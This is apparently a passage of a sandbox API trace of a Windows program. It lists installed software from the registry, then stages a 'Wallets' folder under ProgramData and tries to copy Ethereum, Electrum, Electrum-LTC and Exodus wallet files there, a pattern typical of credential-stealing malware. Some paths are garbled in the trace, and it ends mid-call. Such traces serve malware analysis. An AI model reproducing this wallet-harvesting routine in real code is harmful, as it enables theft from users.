param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 90 [0052.011] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.011] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpcbData=0x19ee30*=0x3b) returned 0x0 [0052.011] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="11.0.61030", lpcbData=0x19ee30*=0xb) returned 0x0 [0052.011] RegCloseKey (hKey=0x394) returned 0x0 [0052.011] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x23, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{BE960C1C-7BAD-3DE6-8B1A-2616FE532845}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.011] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BE960C1C-7BAD-3DE6-8B1A-2616FE532845}") returned 90 [0052.011] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BE960C1C-7BAD-3DE6-8B1A-2616FE532845}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.011] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2015 x86 Additional Runtime - 14.0.23026", lpcbData=0x19ee30*=0x3e) returned 0x0 [0052.011] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="14.0.23026", lpcbData=0x19ee30*=0xb) returned 0x0 [0052.011] RegCloseKey (hKey=0x394) returned 0x0 [0052.011] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x24, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.011] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 90 [0052.011] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.011] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030", lpcbData=0x19ee30*=0x3d) returned 0x0 [0052.012] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="11.0.61030.0", lpcbData=0x19ee30*=0xd) returned 0x0 [0052.012] RegCloseKey (hKey=0x394) returned 0x0 [0052.012] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x25, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.012] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 90 [0052.012] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.012] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2017 Redistributable (x64) - 14.10.25017", lpcbData=0x19ee30*=0x3e) returned 0x0 [0052.012] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="14.10.25017.0", lpcbData=0x19ee30*=0xe) returned 0x0 [0052.012] RegCloseKey (hKey=0x394) returned 0x0 [0052.012] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x26, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.012] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 90 [0052.012] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.012] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpcbData=0x19ee30*=0x3d) returned 0x0 [0052.012] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="12.0.30501.0", lpcbData=0x19ee30*=0xd) returned 0x0 [0052.012] RegCloseKey (hKey=0x394) returned 0x0 [0052.012] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x27, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.012] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 90 [0052.012] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.012] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpcbData=0x19ee30*=0x3c) returned 0x0 [0052.012] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="10.0.40219", lpcbData=0x19ee30*=0xb) returned 0x0 [0052.012] RegCloseKey (hKey=0x394) returned 0x0 [0052.012] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x28, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.012] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757") returned 100 [0052.012] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.013] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.013] RegCloseKey (hKey=0x394) returned 0x0 [0052.013] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x29, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.013] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173") returned 100 [0052.013] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.013] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.013] RegCloseKey (hKey=0x394) returned 0x0 [0052.013] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x2a, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.013] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860") returned 100 [0052.013] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.013] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.013] RegCloseKey (hKey=0x394) returned 0x0 [0052.013] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x2b, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.013] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655") returned 100 [0052.013] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.013] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.013] RegCloseKey (hKey=0x394) returned 0x0 [0052.013] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x2c, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.013] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743") returned 100 [0052.013] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.013] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.013] RegCloseKey (hKey=0x394) returned 0x0 [0052.013] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x2d, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.013] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063") returned 100 [0052.013] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.014] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.014] RegCloseKey (hKey=0x394) returned 0x0 [0052.014] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x2e, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.014] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573") returned 99 [0052.014] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.014] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x0, lpData=0x19f660*=0x31, lpcbData=0x19ee30*=0x400) returned 0x2 [0052.014] RegCloseKey (hKey=0x394) returned 0x0 [0052.014] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x2f, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.014] wsprintfA (in: param_1=0x19ee60, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 90 [0052.014] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ee24 | out: phkResult=0x19ee24*=0x394) returned 0x0 [0052.014] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpcbData=0x19ee30*=0x3e) returned 0x0 [0052.014] RegQueryValueExA (in: hKey=0x394, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19ee14, lpData=0x19f660, lpcbData=0x19ee30*=0x400 | out: lpType=0x19ee14*=0x1, lpData="12.0.21005", lpcbData=0x19ee30*=0xb) returned 0x0 [0052.014] RegCloseKey (hKey=0x394) returned 0x0 [0052.014] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x30, lpName=0x19f260, lpcchName=0x19ee30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0x19ee30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0052.014] RegCloseKey (hKey=0x3a0) returned 0x0 [0052.014] WriteFile (in: hFile=0x388, lpBuffer=0x19defc*, nNumberOfBytesToWrite=0xdd8, lpNumberOfBytesWritten=0x19dedc, lpOverlapped=0x0 | out: lpBuffer=0x19defc*, lpNumberOfBytesWritten=0x19dedc*=0xdd8, lpOverlapped=0x0) returned 1 [0052.015] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files")) returned 1 [0052.015] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets"), lpSecurityAttributes=0x0) returned 1 [0052.016] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Ethereum\\keystore", lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0xffffffff [0052.016] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0 [0052.016] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Ethereum\\" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ethereum")) returned 0xffffffff [0052.016] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\ethereum"), lpSecurityAttributes=0x0) returned 1 [0052.016] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Ethereum\\" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ethereum"), lpNewFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Ethereum\\" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\ethereum"), bFailIfExists=1) returned 0 [0052.016] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Electrum\\wallets\\default_wallet", lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0xffffffff [0052.016] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0 [0052.017] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Electrum\\wallets\\\x03`Wa\x03`et??Et???Kum?K\x03`" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\electrum\\wallets\\\x03`wa\x03`et??et???kum?k\x03`")) returned 0xffffffff [0052.017] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\electrum"), lpSecurityAttributes=0x0) returned 1 [0052.017] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Electrum\\wallets\\\x03`Wa\x03`et??Et???Kum?K\x03`" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\electrum\\wallets\\\x03`wa\x03`et??et???kum?k\x03`"), lpNewFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Electrum\\\x03̀Wa\x03̀etᝲ洈Etᝲ洈龲Ǩum鿄Ǩ\x03̀" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\electrum\\\x03̀wa\x03̀etᝲ洈etᝲ洈龲Ǩum鿄Ǩ\x03̀"), bFailIfExists=1) returned 0 [0052.017] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Electrum-LTC\\wallets\\default_wallet", lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0xffffffff [0052.017] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0 [0052.017] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Electrum-LTC\\wallets\\\x03`Wa\x02?et??El???Kum?K\x03`" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\electrum-ltc\\wallets\\\x03`wa\x02?et??el???kum?k\x03`")) returned 0xffffffff [0052.017] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\electrumltc"), lpSecurityAttributes=0x0) returned 1 [0052.018] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Electrum-LTC\\wallets\\\x03`Wa\x02?et??El???Kum?K\x03`" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\electrum-ltc\\wallets\\\x03`wa\x02?et??el???kum?k\x03`"), lpNewFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ElectrumLTC\\\x03̀Wa\x02Ȁetᝲ洈Elᝲ洈龲Ǩum龲Ǩ\x03̀" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\electrumltc\\\x03̀wa\x02Ȁetᝲ洈elᝲ洈龲Ǩum龲Ǩ\x03̀"), bFailIfExists=1) returned 0 [0052.018] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\exodus.conf.json", lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0xffffffff [0052.018] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0 [0052.018] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\\x02???\x02?" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exodus\\\x02???\x02?")) returned 0xffffffff [0052.018] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\exodus"), lpSecurityAttributes=0x0) returned 1 [0052.018] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\\x02???\x02?" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exodus\\\x02???\x02?"), lpNewFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\\x02Ȁ￾￿\x02Ȁ" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\exodus\\\x02Ȁ￾￿\x02Ȁ"), bFailIfExists=1) returned 0 [0052.019] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\window-state.json", lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0xffffffff [0052.019] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0 [0052.019] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\??Wa\x03`" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exodus\\??wa\x03`")) returned 0xffffffff [0052.019] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\exodus"), lpSecurityAttributes=0x0) returned 0 [0052.019] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\??Wa\x03`" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\exodus\\??wa\x03`"), lpNewFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Exodus\\ᝲ洈Wa\x03̀" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\wallets\\exodus\\ᝲ洈wa\x03̀"), bFailIfExists=1) returned 0 [0052.019] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Exodus\\passphrase.json", lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0xffffffff [0052.019] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f4e4 | out: lpFindFileData=0x19f4e4) returned 0 [0052.020] GetFileAttributesW 